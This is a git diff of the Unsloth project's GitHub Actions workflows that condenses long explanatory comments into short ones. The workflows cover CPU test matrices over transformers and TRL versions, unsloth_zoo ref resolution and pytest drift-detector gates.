- # this row is indistinguishable from the released-wheel one.
if (-not ($log -match 'CI: overlaying source checkout')) {
Write-Host '::error::the overlay row never overlaid the checkout, so it only tested the released package'
exit 1
@@ -1869,10 +1491,7 @@ jobs:
Write-Host '::error::setup.ps1 never reported git as absent-but-not-required, so this container was not gitless and the relaxed gate went untested'
exit 1
}
- # VC++: the ONLY environment here whose System32 does not already ship the
- # 2015-2022 runtime (the hosted legs cannot remove it without breaking the runner),
- # so the only place the direct aka.ms download can be shown to run rather than be
- # short-circuited by Test-VCRedistInstalled. Both halves: taken, and it worked.
+ # The only environment without a preinstalled VC++ runtime, so assert the direct download ran.
if (-not ($log -match 'downloading the runtime directly')) {
Write-Host '::error::Ensure-VCRedist never took the direct-download fallback, so a container with no VC++ runtime and no winget did not exercise it'
exit 1
@@ -1881,8 +1500,6 @@ jobs:
Write-Host '::error::the direct VC++ runtime download ran but left the runtime uninstalled'
exit 1
}
- # The harness already ran `import torch` against the managed interpreter, which
- # needs VCRUNTIME140_1.dll; this says the DLL got there rather than always being.
Write-Host '::notice::no Store, no winget, no git and no preinstalled VC++ runtime, and the install completed anyway'
- name: Recover the install log from the container
diff --git a/.github/workflows/consolidated-tests-ci.yml b/.github/workflows/consolidated-tests-ci.yml
index 241eb778eb1..ea42edd152d 100644
--- a/.github/workflows/consolidated-tests-ci.yml
+++ b/.github/workflows/consolidated-tests-ci.yml
@@ -1,50 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# CPU-only coverage for every test_* function the existing CI does not already
-# cover from this repo, plus the full unsloth_zoo@main CPU test suite, plus
-# unsloth_zoo.compiler.test_apply_fused_lm_head.
-#
-# Two matrix jobs over the SAME three (transformers, TRL) combos, not one:
-# `consolidated` for this repo's own coverage and `consolidated-zoo` for the
-# unsloth_zoo suite. They were one job until the zoo suite, 418s mean over 24
-# measured jobs, was 7.6 of its 17.2 minutes and every pull request waited
-# through both halves end to end. Nothing was dropped in the split; the two
-# halves now run side by side and the pip install preamble, which is the only
-# thing they duplicate, has one definition in
-# .github/actions/core-cpu-setup.
-#
-# Why a separate workflow:
-# - studio-backend-ci.yml's "Repo tests (CPU)" job already auto-discovers
-# tests/ minus tests/qlora, tests/saving, tests/utils, tests/sh. The 24
-# Bucket-A tests below live inside those --ignore dirs (CPU-runnable but
-# historically excluded with their GPU siblings); pulling them out into
-# a sibling job keeps the existing 760-passed baseline stable while we
-# prove the new pieces are green.
-# - unsloth_zoo has no CI on main today (.github/workflows/ is empty
-# upstream as of HEAD 030e4ba). 106 of its 111 test_* functions are
-# CPU-runnable; the 5 GPU/vLLM ones are deselected here.
-# - test_apply_fused_lm_head lives at unsloth_zoo/compiler.py:1983, not
-# under tests/, so it is not picked up by `pytest tests/`. It is a
-# plain function with no fixtures: pure regex over transformers source
-# strings, ~5-15 s wall, no GPU.
-#
-# Strict mode: every test step is gating (no `continue-on-error`). The
-# upstream patch fixes that previously caused per-cell red have landed:
-# - unslothai/unsloth#5319 (patch_fast_lora import, patch_sft_trainer
-# Union, openenv OSError graceful skip).
-# - unslothai/unsloth-zoo#628 (MoE coverage canary so old transformers
-# skips legitimately while real discovery regressions still fail).
-# After those merges every observed cell failure was one of these two
-# things; if they regress we want a red cell, not a green-with-fail-prints
-# cell.
-
-#
-# runs-on: ubuntu-24.04, not ubuntu-latest. Same image, so the jobs are unchanged; different
-# queue, because nearly all of the org's ~871 queued runs ask for ubuntu-latest. Identical
-# no-op jobs in one matrix: ubuntu-latest still queued past 40 min, every other label under
-# 2 min (#10914). Cost: the image no longer tracks the fleet default, so bump it for 26.04.
-#
+# CPU coverage for repo tests not covered elsewhere and the unsloth_zoo suite, as two jobs.
name: Core
@@ -53,14 +10,7 @@ on:
paths:
- 'unsloth/**'
- 'unsloth_cli/**'
- # studio/** minus the frontend and the Tauri shell. Nothing these jobs run reads a
- # non-Python file under either: the named tests, the inline scripts,
- # core-cpu-setup and the editable install were checked against the import and
- # literal-reference graph of every file there, and the only readers found are
- # install.sh and install.ps1 (icons), which no Core step runs. Python files come
- # back in on the last line because test_python39_compatibility.py scans every
- # studio/**/*.py and test_callback_signature_drift.py every .py outside frontend/.
- # Order matters: the last matching pattern wins.
+ # Python files are re-included last because tests scan every .py. Last matching pattern wins.
- 'studio/**'
- '!studio/frontend/**'
- '!studio/src-tauri/**'
@@ -68,10 +18,7 @@ on:
- 'tests/**'
- 'pyproject.toml'
- '.github/workflows/consolidated-tests-ci.yml'
- # tests/test_callback_signature_drift.py (a hard gate in the consolidated job)
- # parses every .py file in the repo outside dot-directories and frontend/, so a
- # Python file anywhere can change its verdict, not only the ones under the source
- # trees above.
+ # test_callback_signature_drift.py parses every .py in the repo.
- '*.py'
- 'scripts/**/*.py'
- 'docker/**/*.py'
@@ -88,14 +35,7 @@ on:
paths:
- 'unsloth/**'
- 'unsloth_cli/**'
- # studio/** minus the frontend and the Tauri shell. Nothing these jobs run reads a
- # non-Python file under either: the named tests, the inline scripts,
- # core-cpu-setup and the editable install were checked against the import and
- # literal-reference graph of every file there, and the only readers found are
- # install.sh and install.ps1 (icons), which no Core step runs. Python files come
- # back in on the last line because test_python39_compatibility.py scans every
- # studio/**/*.py and test_callback_signature_drift.py every .py outside frontend/.
- # Order matters: the last matching pattern wins.
+ # Python files are re-included last because tests scan every .py. Last matching pattern wins.
- 'studio/**'
- '!studio/frontend/**'
- '!studio/src-tauri/**'
@@ -103,10 +43,7 @@ on:
- 'tests/**'
- 'pyproject.toml'
- '.github/workflows/consolidated-tests-ci.yml'
- # tests/test_callback_signature_drift.py (a hard gate in the consolidated job)
- # parses every .py file in the repo outside dot-directories and frontend/, so a
- # Python file anywhere can change its verdict, not only the ones under the source
- # trees above.
+ # test_callback_signature_drift.py parses every .py in the repo.
- '*.py'
- 'scripts/**/*.py'
- 'docker/**/*.py'
@@ -137,18 +74,7 @@ permissions:
jobs:
resolve-zoo-ref:
- # Both Core halves clone unsloth_zoo. Before the split they shared one checkout per
- # matrix cell, so the compatibility checks and the suite always saw the same revision.
- # Cloning a mutable branch twice loses that: a push to unsloth_zoo between the two clones
- # has `consolidated` check revision A while `consolidated-zoo` runs revision B under one
- # matrix label, and the run is then not reproducible from anything it recorded.
- #
- # Resolving once costs a gating job. That is affordable here and was not while Core sat on
- # ubuntu-latest: on the pinned label a trivial job waited 11s to 162s across the runs in
- # #10914, against the roughly seven minutes the split takes off this workflow.
- #
- # llama-cpp-smoke still resolves its own ref. It shares no verdict with these two, so a
- # different revision there cannot make one cell disagree with itself.
+ # Resolve the zoo ref once so both Core halves test the same commit.
name: Resolve the unsloth_zoo revision
runs-on: ubuntu-24.04
timeout-minutes: 5
@@ -161,20 +87,11 @@ jobs:
REF: ${{ inputs.unsloth_zoo_ref || 'main' }}
run: |
set -euo pipefail
- # A ref that is already a commit has no remote head to look up, so pass it through.
if printf '%s' "$REF" | grep -Eq '^[0-9a-f]{40}$'; then
sha="$REF"
else
- # Retried like the clone in core-cpu-setup, and for the same reason: github.com
- # occasionally 500s. This job gates both Core halves, so an unretried blip here
- # would skip all six matrix jobs rather than fail one step.
- # `git ls-remote` takes PATTERNS, not one ref, so a bare name can print more than
- # one record: a name that is both a branch and a tag prints both, and an annotated
- # tag prints the tag object and the commit it peels to. Taking every record puts a
- # newline inside `sha`, and `sha=<a>\n<b>` makes the second line of $GITHUB_OUTPUT a
- # bare value that GitHub rejects, failing this job and skipping all six Core cells.
- # So ask for the exact refs and pick one, in git's own order: a branch beats a tag,
- # and an annotated tag resolves to the commit rather than to the tag object.
+ # Retried because github.com occasionally 500s. Query exact refs and pick one (branch over tag,
+ # peeled commit) so sha never contains a newline that breaks GITHUB_OUTPUT.
resolve_ref() {
local ref="$1" out want line uniq found
out="$(git ls-remote https://github.com/unslothai/unsloth-zoo \
@@ -186,12 +103,9 @@ jobs:
return 0
fi
done
- # Not a plain branch or tag name. The trailing pattern above still covers a fully
- # qualified ref, but only one commit may answer to it.
uniq="$(printf '%s\n' "$out" | awk 'NF { print $1 }' | sort -u)"
found="$(printf '%s\n' "$uniq" | grep -c . || true)"
- # No match is the same shape as a failed lookup and stays retryable; several
- # matches is a statement about the remote that retrying cannot change.
+ # No match is retryable; multiple matches are not.
if [ "$found" -eq 0 ]; then
return 1
fi
@@ -205,8 +119,6 @@ jobs:
if sha="$(resolve_ref "$REF")"; then
if [ -n "$sha" ]; then break; fi
elif [ "$?" -eq 2 ]; then
- # Retrying cannot disambiguate a name several commits answer to, and warning
- # about a network blip that did not happen would send the reader the wrong way.
echo "::error::unsloth_zoo ref '$REF' matches more than one commit on the remote"
exit 1
fi
@@ -227,21 +139,7 @@ jobs:
consolidated:
needs: resolve-zoo-ref
- # Matrix: three (transformers, TRL) combos cover the failure surface the
- # PR cares about:
- # 1. transformers==4.57.6 + TRL latest <1.0.0 (the just-before-5.x line)
- # 2. transformers latest 5.x + TRL latest 1.x (the absolute upstream tip;
- # currently 5.8.0 + 1.3.0, both BEYOND the unsloth/unsloth_zoo
- # <=5.5.0 / <=0.24.0 caps -- the cell exists explicitly to surface
- # drift signal)
- # 3. transformers + TRL pinned by pyproject.toml's dependency entries
- # (resolved dynamically at job time via tomllib)
- # fail-fast: false so each cell runs independently and a transformers /
- # TRL drift signal in one cell does not cancel the others. No
- # job-level or per-step `continue-on-error` -- real test failures now
- # fail the cell. Patches with legitimate CPU-runner preconditions
- # (real CUDA dispatcher, runtime args) are explicitly skipped via
- # NEEDS_PRECONDITION in the runtime check shim below.
+ # Three (transformers, TRL) combos: 4.57.6 + TRL <1.0, latest 5.x + 1.x, and pyproject pins.
strategy:
fail-fast: false
matrix:
@@ -261,30 +159,14 @@ jobs:
name: "Core (${{ matrix.combo.label }})"
runs-on: ubuntu-24.04
timeout-minutes: 35
- # No job-level or per-step `continue-on-error`. Earlier iterations
- # masked real test failures behind green check icons; that lie is
- # gone. A failing test step fails the cell. NEEDS_PRECONDITION in
- # the runtime check shim handles patches that legitimately cannot
- # run on a CPU-only runner (real CUDA dispatcher, runtime args).
env:
UNSLOTH_ZOO_REF: ${{ needs.resolve-zoo-ref.outputs.sha }}
MATRIX_COMBO_ID: ${{ matrix.combo.id }}
- # Hoisted to job-level so every step (Sanity, Bucket-A, the static and
- # runtime checks) inherits it, and repeated in `consolidated-zoo` for the
- # same reason. transformers' bundled
- # *_pb2.py was generated against an older protoc; the C++ protobuf
- # 4+/5+/6 implementation rejects them with "Descriptors cannot be
- # created directly". The pure-Python parser bypasses the check; the
- # speed cost is negligible for these tests.
+ # transformers' bundled *_pb2.py fails under the C++ protobuf implementation.
PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python
PYTHONPATH: ${{ github.workspace }}/studio
UNSLOTH_COMPILE_DISABLE: '1'
- # unsloth_zoo/__init__.py:314 raises ImportError unless UNSLOTH_IS_PRESENT
- # is set — normally it is set by unsloth.__init__ when unsloth is imported
- # first. In this job we sometimes import unsloth_zoo.* (e.g.
- # unsloth_zoo.saving_utils, unsloth_zoo.temporary_patches) without going
- # through `import unsloth` first; pin the env var to 1 so unsloth_zoo's
- # bootstrap accepts it. Setting it has no effect on unsloth itself.
+ # unsloth_zoo raises on import unless UNSLOTH_IS_PRESENT is set.
UNSLOTH_IS_PRESENT: '1'
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
@@ -304,10 +186,7 @@ jobs:
pyproject.toml
studio/backend/requirements/*.txt
- # node + uv + spec resolution + the ~2 GB install + the unsloth_zoo
- # clone. Shared verbatim with the `consolidated-zoo` job below, which
- # runs the same three combos against the same stack; see the action for
- # why it owns these five steps and not the four above it.
+ # Shared with consolidated-zoo via the core-cpu-setup action.
- name: Core CPU setup
uses: ./.github/actions/core-cpu-setup
with:
@@ -316,10 +195,6 @@ jobs:
unsloth-zoo-ref: ${{ env.UNSLOTH_ZOO_REF }}
- name: Sanity — collection only (both repos)
- # Catches import-time breakage before we run the suite. Cheap; bails
- # the job out fast if a transformers/torch resolution went sideways.
- # Inherits PYTHONPATH / UNSLOTH_COMPILE_DISABLE / PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION
- # from the job-level env block.
run: |
set -euxo pipefail
python -m pytest --collect-only -q \
@@ -342,96 +217,36 @@ jobs:
tests/utils/test_trunc_normal_patch.py \
tests/utils/test_q_galore.py \
tests/python/test_fast_language_model_text_only.py
- # Collect from the zoo checkout, not from here: this repo ships a real
- # tests/ package, so a zoo test doing "from tests.foo import bar" binds
- # "tests" to OUR package and dies with ModuleNotFoundError. The later
- # full zoo runs already set working-directory for the same reason.
+ # Run from the zoo checkout: this repo's tests/ package would shadow the zoo's `tests`.
(cd "$RUNNER_TEMP/unsloth-zoo" && python -m pytest --collect-only -q tests/)
- name: import_fixes drift detectors (18 tests, HARD GATE)
- # One drift detector per fix_* / patch_* function in
- # unsloth/import_fixes.py. The detectors assert the *healthy*
- # upstream shape that the fix expects ABSENT the regression;
- # ANY DRIFT DETECTED -> pytest.fail (NEVER skip) so the
- # matrix cell goes red and the maintainer triages on the
- # next PR, not in a downstream user's crash report.
- #
- # Pathologies covered by the suite (each maps to one fix
- # function with the line range cited in the test docstring):
- # * protobuf MessageFactory GetPrototype / GetMessageClass
- # * datasets 4.4.x recursion range
- # * TRL tuple-vs-bool _*_available caching
- # * transformers PreTrainedModel.enable_input_require_grads
- # source pattern flip
- # * transformers torchcodec / causal_conv1d availability
- # flags
- # * transformers + accelerate is_wandb_available
- # * peft.utils.transformers_weight_conversion importability
- # + build_peft_weight_mapping signature
- # * triton 3.6+ CompiledKernel num_ctas / cluster_dims
- # * torch / torchvision pinned compatibility table
- # * vllm guided_decoding_params / structured_outputs +
- # aimv2 ovis config version
- # * huggingface_hub is_offline_mode / HF_HUB_OFFLINE
- # * torch.nn.init.trunc_normal_ presence (patch site for
- # patch_trunc_normal_precision_issue)
- # * xformers post-num_splits-key fix version
- # HARD GATE: a red cell here is a real upstream regression
- # without a corresponding zoo / unsloth-side workaround.
+ # Drift detectors for unsloth/import_fixes.py; a drift must fail, never skip.
run: |
python -m pytest -v --tb=short tests/test_import_fixes_drift.py
- name: triton-absent import guard (HARD GATE)
- # PyPI ships no Windows `triton` wheel, so the unconditional module-level import
- # in _gpu_init.py killed `import unsloth` on a CPU-only Windows install. Named
- # here because nothing else in the repo collects this file, so a deleted guard
- # would leave CI green.
+ # Nothing else collects this file, so name it here.
run: |
python -m pytest -v --tb=short tests/test_triton_optional_import.py
- name: public-api surface drift detectors (9 tests, HARD GATE)
- # Companion to test_import_fixes_drift.py: that file catches
- # third-party drift; this one catches drift in unsloth's OWN
- # public surface (FastLanguageModel / FastVisionModel /
- # FastModel + their classmethods + is_bf16_supported). A
- # rename here would silently break the unslothai/notebooks tree
- # one PR cycle later -- this gate catches it BEFORE the
- # breakage reaches users.
run: |
python -m pytest -v --tb=short tests/test_public_api_surface.py
- name: callback signature drift detector (HARD GATE)
- # Catches the MLX-style bug from PR #5498: a producer in
- # unsloth_zoo (or unsloth) grows a callback arg, but a consumer
- # callback def still declares the old arity. The producer's
- # try/except swallows the resulting TypeError and the symptom is
- # "callback never fires" -- usually diagnosed downstream as a
- # confusing assertion several seconds later. This static AST
- # check fails fast at PR time. UNSLOTH_ZOO_SRC points at the
- # freshly cloned main so the detector sees platform-specific
- # submodules (e.g. unsloth_zoo/mlx/) that the released wheel
- # may strip.
+ # UNSLOTH_ZOO_SRC points at the cloned main so platform submodules the wheel may strip are seen.
env:
UNSLOTH_ZOO_SRC: ${{ runner.temp }}/unsloth-zoo
run: |
python -m pytest -v --tb=short tests/test_callback_signature_drift.py
- name: python floor compatibility (HARD GATE)
- # pyproject declares requires-python >=3.9 but every job here pins 3.12,
- # so nothing ran the floor: registry.py grew a dataclass field annotated
- # `list[QuantType] | dict[...]`, which evaluates at class creation and is
- # a TypeError below 3.10. Static AST check, no torch and no network. It
- # reads the floor from pyproject, so raising requires-python relaxes it
- # rather than making it lie.
+ # Every job pins 3.12, so this AST check guards the requires-python floor from pyproject.
run: |
python -m pytest -v --tb=short tests/test_python39_compatibility.py
- name: generation correctness guards (HARD GATE)
- # Deterministic CPU guards, each validated to fail on its pre-fix code:
- # leftpad = batched left-padded generation (#1066/#3699, fixed by
- # #2216 + #4100; staging proof: unsloth-staging-2 PRs 170/172);
- # rope_scaling_drift = config.rope_scaling dropped by replaced rotary
- # classes (#2405). AST checks run first so import breakage cannot mask them.
run: |
python -m pytest -v --tb=short \
tests/utils/test_prepare_inputs_leftpad.py \
@@ -439,30 +254,7 @@ jobs:
tests/utils/test_rope_scaling_drift.py
- name: dataset_num_proc worker bounds (HARD GATE)
- # Guards for #2693: Dataset.map() dying with "One of the subprocesses
- # has abruptly died", which is the OOM killer reaping tokenizer workers
- # that nothing bounded. These assert the policy that replaced the
- # unbounded cpu_count + 4 -> 64 heuristic -- the memory clamp, the
- # 1 -> None normalisation (datasets >= 4.1 builds a Pool(1)), the
- # non-fork and macOS vetoes, and the UNSLOTH_DATASET_NUM_PROC hatch.
- #
- # Their own step rather than Bucket-A: they need no accelerator and no
- # model, they import the module standalone by path (so they cannot be
- # masked by unrelated import breakage), and their assertions are pinned
- # against simulated CPU counts and memory so the result is identical on
- # a 4-vCPU runner and a 192-core box.
- #
- # The drift guard is named explicitly (these jobs collect paths, not
- # trees): it is the only leg with a transformers past the `>=4.51,<5.5`
- # pin, and the wording it exists to survive landed in 5.10.
- #
- # The Unsloth file runs here rather than in studio-backend-ci, which
- # installs studio.txt and so has no unsloth_zoo at all. Note the policy
- # module is not on unsloth_zoo main either until the companion PR lands,
- # and this job clones UNSLOTH_ZOO_REF (main by default) -- so those cases
- # reach the policy through _shared_policy, which falls back to this
- # repo's own copy. Skipping instead would leave the 14 cases that matter
- # green while the wiring they guard was inert.
+ # The drift guard is named explicitly: these jobs collect paths, not trees.
run: |
python -m pytest -v --tb=short \
tests/utils/test_dataset_num_proc.py \
@@ -473,9 +265,6 @@ jobs:
studio/backend/tests/test_compressed_tensors_signature_drift.py
- name: unsloth Bucket-A — CPU tests not in Repo tests (CPU)
- # CPU tests across 6 files under tests/saving/, tests/utils/, tests/python/
- # that Repo tests (CPU) --ignores. AST/protobuf/regex plus tiny CPU model
- # loads; run cleanly here (transformers/torch installed).
run: |
python -m pytest -q --tb=short \
tests/saving/test_save_shell_injection.py \
@@ -505,21 +294,11 @@ jobs:
tests/test_map_eos_token.py \
tests/test_apertus_instruct_mapping.py \
tests/test_push_to_ollama_modelfile_args.py
- # test_run_attention_flash_varlen_receives_window_and_softcap was deselected
- # until attention_dispatch.py predefined flash_attn_varlen_func as None; it
- # monkeypatches that name, so it no longer needs flash_attn on this runner.
- name: Static checks — unsloth/trainer.py + unsloth/models/rl.py against latest pip TRL
- # AST-only sanity: confirm both files parse and that every TRL symbol
- # they reference still exists in the installed `trl`. Catches API
- # drift (renamed / removed TRL classes) without running training.
- # Pre-fetches latest pip transformers in case TRL pinned an older one.
run: |
set -euxo pipefail
- # Use the matrix-resolved transformers + trl versions already
- # installed by the runtime-deps step (don't upgrade here; that
- # would defeat the matrix's purpose of testing against the
- # specific (transformers, trl) combination the cell selected).
+ # Do not upgrade here; the matrix selected these versions.
python <<'PY'
import ast, importlib, pathlib, sys
paths = [pathlib.Path("unsloth/trainer.py"),
@@ -543,10 +322,6 @@ jobs:
PY
- name: Static checks — unsloth_zoo/tiled_mlp.py against latest pip transformers
- # AST parse + transformers symbol-resolution. The user flagged tiled
- # MLP patching as the path that breaks first when transformers ships
- # an MLP class rename; this step is the canary against whatever
- # transformers version the matrix cell selected.
working-directory: ${{ runner.temp }}/unsloth-zoo
run: |
set -euxo pipefail
@@ -591,13 +366,7 @@ jobs:
PY
- name: Runtime checks — invoke every zero-arg patch_* across both repos (via pytest shim)
- # Routed through pytest so tests/conftest.py's GPU-spoof harness
- # applies before any unsloth_zoo.temporary_patches.* import.
- # Locally validated 50/51 zero-arg patches succeed; the lone failure
- # surfaces a real bug (unsloth.models._utils.patch_fast_lora raises
- # NameError: name 'fast_lora_forward' is not defined). The shim
- # reports the full ledger but only fails when one of the two
- # `required` helpers is absent.
+ # Routed through pytest so tests/conftest.py's GPU spoof applies before zoo imports.
run: |
set -euxo pipefail
cat > tests/_runtime_patch_check_shim.py <<'PY'
@@ -718,9 +487,7 @@ jobs:
rm -f tests/_runtime_patch_check_shim.py
- name: Runtime checks — patch_tiled_mlp on a synthetic MLP module (via pytest shim)
- # Same shim pattern: pytest picks up tests/conftest.py before importing
- # unsloth_zoo.tiled_mlp, so the GPU-spoof harness covers
- # unsloth_zoo.temporary_patches.gpt_oss's mem_get_info call.
+ # Through pytest for the GPU spoof (gpt_oss calls mem_get_info at import).
run: |
set -euxo pipefail
cat > tests/_tiled_mlp_check_shim.py <<'PY'
@@ -794,22 +561,6 @@ jobs:
rm -f tests/_tiled_mlp_check_shim.py
- name: Compiler cache hygiene + source-rewriter invariants (synthetic inputs)
- # Lightweight pipeline coverage for unsloth_zoo.compiler. Pure regex
- # / tokenize / ast paths driven by tiny synthetic source strings:
- # - higher_precision_softmax (basic + idempotent)
- # - fix_rotary_embedding_dtype (no-op + active under
- # UNSLOTH_FORCE_CUSTOM_DTYPE)
- # - fix_attention_dtype_consistency (insert + idempotent)
- # - convert_attention_masks_to_bool (rewrite + no-op)
- # - create_new_function happy-path (versioning block, license
- # header, AST parse, importlib re-import)
- # - create_new_function **kwargs collision (exercises
- # _rewrite_kwargs_param + _insert_kwargs_alias)
- # - UNSLOTH_COMPILE_OVERWRITE=0 forced-recompile on transformers
- # version mismatch (compiler.py:947-963)
- # - matching short-circuit when versions are equal
- # No real transformers modeling module is loaded; complements the
- # heavier real-class round-trip step below. Wall-time ~10-25s.
run: |
set -euxo pipefail
cat > tests/_compiler_cache_invariants_shim.py <<'PY'
@@ -990,26 +741,7 @@ jobs:
rm -f tests/_compiler_cache_invariants_shim.py
- name: Compiler full-model-sweep (every transformers.models.*) + SFT trainer round-trip
- # Calls `unsloth_compile_transformers(model_type=...)` against EVERY
- # `transformers.models.<x>` package the matrix's transformers ships
- # (pkgutil.iter_modules walk -- 383 packages on 4.57.6, similar on
- # latest), then ast.parse / importlib-load / introspect the
- # generated unsloth_compiled_cache/*.py file per model. Catches
- # regex / source-rewriter drift across the matrix's (transformers,
- # trl) combination -- the dominant failure mode of
- # `unsloth_compile_transformers` after a transformers point release.
- #
- # 21 model_types currently break the compiler (verified locally on
- # transformers 4.57.6). They are listed in KNOWN_BROKEN below with
- # their failure mode so the sweep stays green and any NEW breakage
- # surfaces as red. Each entry is tracked for an individual fix
- # PR on unsloth-zoo. The list is split by failure category so
- # follow-up PRs can target one bug at a time.
- #
- # Hermetic cache dir per pytest invocation; we override the
- # job-level UNSLOTH_COMPILE_DISABLE=1 inside the shim so
- # compilation actually runs here. Wall-time estimate ~2-3 min
- # warm (mean ~0.3s/model, 383 models = ~110s on the runner).
+ # KNOWN_BROKEN keeps the sweep green; new breakage goes red. Overrides UNSLOTH_COMPILE_DISABLE.
run: |
set -euxo pipefail
cat > tests/_zoo_compiler_cache_shim.py <<'PY'
@@ -1351,26 +1083,7 @@ jobs:
rm -f tests/_zoo_compiler_cache_shim.py
- name: TRL trainer + Config auto-discovery + dynamic patch coverage
- # Mirror unsloth/models/rl.py:patch_trl_rl_trainers AND verify the
- # dynamic per-version patch surface:
- # 1. AST-parse every *_trainer / *_config submodule.
- # 2. Apply the same *Trainer / *Config discovery rules
- # _patch_trl_rl_trainers uses (rl.py:553-620).
- # 3. Orphan check: every <x>_trainer must have a sibling
- # <x>_config OR an inline *Config.
- # 4. Dynamic count: enumerate every canonical trainer that
- # imports cleanly, run patch_trl_rl_trainers(), assert
- # every one ends up Unsloth-prefixed in-place. Floor matches
- # the cohort sizes from the version sweep:
- # TRL 0.22-0.23 -> 18 canonical trainers
- # TRL 0.24-0.28 -> 15 canonical trainers
- # TRL 0.29-1.x -> 6 canonical (rest are experimental
- # thin-wrappers; covered next)
- # 5. Experimental coverage (TRL 0.29+): walk trl.experimental.*,
- # find every *Trainer class, verify the umbrella patch
- # reaches them via the thin-wrapper MRO walk in
- # _patch_trl_rl_trainers (rl.py:677-702).
- # Per-cell wall-time ~30-60s.
+ # Mirrors the *Trainer / *Config discovery rules of unsloth/models/rl.py:_patch_trl_rl_trainers.
run: |
set -euxo pipefail
cat > tests/_trl_trainer_discovery_shim.py <<'PY'
@@ -1845,43 +1558,7 @@ jobs:
rm -f tests/_trl_trainer_discovery_shim.py
- name: MoE per-family coverage + GRPO patches + grouped_gemm AST
- # Catches the recurring class of bugs that PR #624 (gemma4 missing
- # extractor), PR #612 (gemma4 GRPO patch silently dropped), PR #607
- # (gate_up LoRA dropped from grad graph), PR #601 (qwen MoE shape
- # mismatch), unsloth#4934 (TRL disable_gradient_checkpointing
- # corrupts unsloth GC), and unsloth#3598 (gradient_accumulation
- # double-scale on accepts_loss_kwargs=False) targeted. Coverage:
- #
- # 1. Per-MoE-family side-effect contract: for every patch_*_moe
- # function in unsloth_zoo.temporary_patches, if its target
- # transformers class is importable on this matrix cell, the
- # patch must mark the class with `_unsloth_already_patched=True`
- # after running. This is exactly what unsloth_zoo's existing
- # test_moe_lora_extractor_coverage walks at the registration
- # level; here we tie each patch fn to its declared target so a
- # silent early-return (PR #612 style) surfaces as red rather
- # than a coverage skip.
- #
- # 2. PR #4934 (GRPO + TRL 1.0): patch_trl_disable_gradient_checkpointing
- # must rebind trl.models.utils.disable_gradient_checkpointing to
- # the unsloth no-op AND propagate the rebinding to every trl.*
- # module that imported the symbol by reference.
- #
- # 3. PR #3598 (gradient_accumulation): patch_gradient_accumulation_fix
- # must run cleanly on a synthetic Trainer whose training_step
- # signature carries `num_items_in_batch`. The original bug was
- # that `accepts_loss_kwargs=False` (Qwen3VL, Gemma3 in t-4.57)
- # caused double loss-scaling; here we verify the rewrite path
- # itself does not raise on a CPU-resolvable shape.
- #
- # 4. unsloth/kernels/moe/grouped_gemm AST smoke: the Triton kernels
- # are GPU-only at runtime, but a SyntaxError or stray
- # string-literal in the source still surfaces as a test-time
- # ImportError on every install. ast.parse the .py files without
- # executing.
- #
- # Wall-time per cell ~30-60s. Routed through pytest for the spoof
- # harness so unsloth_zoo.temporary_patches imports are clean.
+ # Catches recurring MoE, GRPO and gradient-accumulation regressions from past PRs.
run: |
set -euxo pipefail
cat > tests/_moe_coverage_shim.py <<'PY'
@@ -2270,9 +1947,7 @@ jobs:
python -c "import sys, platform; print(sys.version); print(platform.platform())"
python -c "import torch; print('torch', torch.__version__, 'cuda?', torch.cuda.is_available())"
python -c "import transformers; print('transformers', transformers.__version__)"
- # `pip show` instead of `import unsloth_zoo` — its __init__ raises
- # without an accelerator and the spoof harness only kicks in under
- # pytest. Cheap and accurate.
+ # pip show: importing unsloth_zoo raises without an accelerator outside pytest.
pip show unsloth_zoo
echo "::endgroup::"
echo "Consolidated job done. Coverage:"
@@ -2289,35 +1964,10 @@ jobs:
key: ${{ steps.pip-cache.outputs.key }}
cache-hit: ${{ steps.pip-cache.outputs.cache-hit }}
- # The unsloth_zoo suite, lifted out of the `consolidated` cell above.
- #
- # Measured over 24 real jobs, the "unsloth_zoo @ <ref> - full pytest (CPU)"
- # step runs 418s mean, 341-464s range, call it 457s at the top of the band.
- # It used to sit serially inside a cell whose total is ~17.2 min, so it was
- # ~7.6 min of pure critical path on 100% of pull requests: Core's
- # `on.pull_request` paths filter matches `unsloth/**`, `studio/**`,
- # `tests/**` and `pyproject.toml`, which is every source change this repo
- # makes.
- #
- # Moving it into its own job over the SAME three combos removes no work, only
- # the ordering. Core's critical path goes from ~17.2 min to roughly 10, the
- # longer of the two halves, and the price is three more runners that each
- # re-pay the install preamble. That trade is the explicit objective: fewer
- # minutes of waiting per pull request, not fewer runner-minutes.
- #
- # A separate WORKFLOW file was the alternative and is worse on two counts.
- # The combo list would have to be duplicated across files rather than sitting
- # beside the job it mirrors, and the two halves would fall into different
- # concurrency groups, so a force-push would cancel one and leave the other
- # running against the commit it superseded.
+ # The zoo suite in its own job over the same combos, to shorten the critical path.
consolidated-zoo:
needs: resolve-zoo-ref
- # Byte-identical to `consolidated`'s matrix, deliberately: the coverage
- # claim for this split is that the same suite still runs under the same
- # three (transformers, TRL) pins. GitHub Actions supports no YAML anchors
- # and no way to share a matrix between jobs, so it is a copy, and
- # tests/studio/test_zoo_suite_parallel_isolation.py fails if the two copies
- # stop agreeing.
+ # Must match consolidated's matrix; test_zoo_suite_parallel_isolation.py enforces it.
strategy:
fail-fast: false
matrix:
@@ -2347,9 +1997,7 @@ jobs:
env:
UNSLOTH_ZOO_REF: ${{ needs.resolve-zoo-ref.outputs.sha }}
MATRIX_COMBO_ID: ${{ matrix.combo.id }}
- # Identical to `consolidated`'s env block, and asserted identical by
- # tests/studio/test_zoo_suite_parallel_isolation.py. The reasoning for
- # each entry lives there; repeating it here would give it two homes.
+ # Must match consolidated's env; test_zoo_suite_parallel_isolation.py enforces it.
PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python
PYTHONPATH: ${{ github.workspace }}/studio
UNSLOTH_COMPILE_DISABLE: '1'
@@ -2379,9 +2027,7 @@ jobs:
pyproject.toml
studio/backend/requirements/*.txt
- # The identical preamble `consolidated` runs, from the one definition
- # both share. Anything added to the install belongs in that action, not
- # in either caller.
+ # Anything added to the install belongs in the shared action.
- name: Core CPU setup
uses: ./.github/actions/core-cpu-setup
with:
@@ -2433,13 +2079,10 @@ jobs:
--ignore=tests/test_gemma3_forced_float32_boundary_dtype.py \
--deselect tests/test_unsloth_zoo_lora_merge.py::test_merge_lora_moves_cpu_inputs_to_active_device
